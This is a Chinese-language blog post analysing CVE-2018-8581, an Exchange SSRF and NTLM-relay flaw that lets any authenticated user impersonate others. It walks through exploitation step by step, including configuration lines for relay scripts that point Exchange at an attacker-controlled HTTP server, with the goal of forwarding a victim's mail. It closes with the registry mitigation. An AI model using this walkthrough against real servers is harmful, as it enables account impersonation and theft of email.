EXCHANGE上冒充任意用户--Exchange Server权限提升漏洞(CVE-2018-8581)分析

0x00 前言

这是我们2018年Top 5趣案系列中的第三个案例。这些漏洞都有一些因素使它们从今年发布的大约1,400个报告中脱颖而出。今天我们将分析一个Exchange漏洞,它允许任何经过身份验证的用户冒充Exchange Server上的其他用户。

在ZDI的Dustin Childs 12月的文章 中,他提到了一个Exchange漏洞,允许Exchange服务器上的任何用户冒充该Exchange服务器上的任何人。虽然这个漏洞可以用于一些内网的劫持,但这个漏洞更有可能被用于钓鱼活动、窃取数据或其他恶意软件操作。作为2018年Top 5趣案系列的一部分,本文深入研究了这个SSRF(服务器端请求伪造)漏洞的细节,并展示了冒充过程是如何实现的。

0x01 漏洞分析

该漏洞是由SSRF漏洞和其他漏洞相结合造成的。Exchange允许任何用户为推送订阅指定所需的URL,服务器将尝试向这个URL发送通知。问题出在Exchange服务器使用CredentialCache.DefaultCredentials进行连接:

在Exchange Web服务中,CredentialCache.DefaultCredentials在NT AUTHORITYSYSTEM上运行。这将导致Exchange Server向攻击者的服务器发送NTLM散列。Exchange服务器还默认设置了以下注册表项:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1

这允许我们使用这些NTLM散列来进行HTTP身份验证。例如,可以使用这些散列来访问Exchange Web服务(EWS)。由于它在NT AUTHORITYSYSTEM级别运行,攻击者可以获得TokenSerializationRight的“特权”会话,然后可以使用SOAP请求头来冒充任何用户。

下面是这样一个SOAP请求头的例子,它用SID S-1-5-21-4187549019-2363330540-1546371449-500冒充管理员。

0x02 漏洞利用

为了演示,我们将使用几个Python脚本:

serverHTTP_relayNTLM.py– 通过入站连接获取NTLM散列并用于EWS身份验证

exch_EWS_pushSubscribe.py – 导致PushSubscription EWS调用serverHTTP_relayNTLM.py

你可以在这里下载这些脚本。你还需要python-NTLM模块。

漏洞的第一步是获取我们要冒充的用户的SID。一种可能的使用方法是这样的:

1.以授权用户身份登录OWA。在这里,我们以“攻击者”身份登录:

2.接下来,创建任意新文件夹。在这个例子中,我们使用了temfold。点击context中“Permissions…”选项:

 

3.在这里,添加要冒充的人的电子邮件。我们的目标是受害者victim@contoso.local

 

4.现在我们需要按F12键并选择Network选项。然后在新文件夹中再次选择context中“Permissions…”选项。

 

5.我们需要检查第一个service.svc?action=GetFolder请求的响应。查看方法:

Body->ResponseMessages->Items->0->Folders->0->PermissionSet->Permissions->N->UserId->SID

在这个例子中,N是2(最新的),但是你可以全部检查一遍以便找到正确的。PrimarySmtpAddress应该是理想的受害者。如果响应不包含PermissionSet项,则需要检查另一个service.svc?action=GetFolder请求。

6.我们将在serverHTTP_relayNTLM.py中使用这个SID来冒充受害者。另外,我们还需要选择在攻击者控制的计算机上不太可能被阻止的TCP端口,这些端口将允许Exchange Server上的外部连接。例如,TCP端口8080可能可用。现在,让我们用真实信息更改serverHTTP_relayNTLM.py中的下一行:

 

#Port for the HTTP server

#Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py

HTTPPORT = 8080

#You have to replace next values by valid ip/address, port and protocol ('http' or 'https') to EWS 
target_ip='exch2016.contoso.local'
target_port = 443
PROTO='https'
#PROTO='http'
#Path to EWS URL = "/EWS/Exchange.asmx"
#SMTP addresses of attacker mailbox (we will receive all emails sent to victim) ATTACKER = "attacker@contoso.local" VICTIM_SID = "S-1-5-21-4187549019-2363330540-1546371449-2604"

一旦脚本有了正确的变量,就可以启动了:

7.下一步是在Exch_EWS_PushSubscribe.py脚本中设置适当的变量:

 

#You have to replace next values by valid ip/address, port and protocol ('http' or 'https')
ip='exch2016.contoso.local'
tcp_port = 443
#PROTO='http'
PROTO='https'

#Credentials of attacker
USER = 'attacker'
DOMAIN = 'contoso.local'
PASS = 'P@ssw0rd'
URL = "/EWS/Exchange.asmx"

#URL of our HTTP server that will use NTLM hashes for impersonation of victim 

EVIL_HTTPSERVER_URL = "http://192.168.50.173:8080/test"

 

一旦完成,我们就可以执行以下脚本:

8.最后一步。我们需要一些事件触发推送通知。如果可以等待一段时间,或者我们也可以执行一些操作,比如创建和发送新的电子邮件,或者删除我们的新文件

如果成功,我们应该接收从Exchange服务器到serverHTTP_relayNTLM.py的入站连接:

如果攻击成功,我们将在最后一个响应中看到UpdateInboxRulesResponse ResponseClass=“Success”。这意味着入站规则已添加到受害者邮箱中,所有入站电子邮件都将转发给攻击者。

现在一切就绪,是时候测试了。我们需要从任意帐户向受害者发送电子邮件,但与我们新规则中的目的地不相同(在本例是attacker@contoso.local),因为如果源和目的地是相同的地址,则该规则不会转发电子邮件。让我们以管理员身份登录并向受害者发送一些“敏感”信息:

检查攻击者的收件箱,我们看到消息成功转发:

 

正如我们所看到的,新的邮件被转发给攻击者。类似的结果可以通过其他EWS API实现,比如AddDelegate或将编辑权限分配给目标文件夹。

0x03 补丁

微软将该漏洞分配为CVE-2018-8581,并在11月份发布时给出缓解措施。实际上这个漏洞还没有修补程序。相反,Microsoft强调应该删除注册表项。删除这个键可启用回送检查。回想上面的内容,Exchange服务器默认设置了以下注册表项:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1

如果删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck键,则漏洞不可以。若要删除注册表项,请在CMD窗口中输入以下命令:

删除密钥后不需要重新启动或Exchange Server。公告指出,将来Exchange的更新在默认情况下将不再启用注册表项。

0x04 总结

电子邮件已经成为我们商业生活的核心组成部分,Exchange Server多年来一直是一个热门的目标。该漏洞允许冒充用户,通过以前报告的漏洞允许任意代码执行。这两种情况都表明,有时最大的安全风险来自内部。这些漏洞还展示了外部攻击者如何从单个入口点在整个企业中扩散。

 

posted @ 2019-06-18 20:13  渗透测试中心  阅读(1229)  评论(0编辑  收藏  举报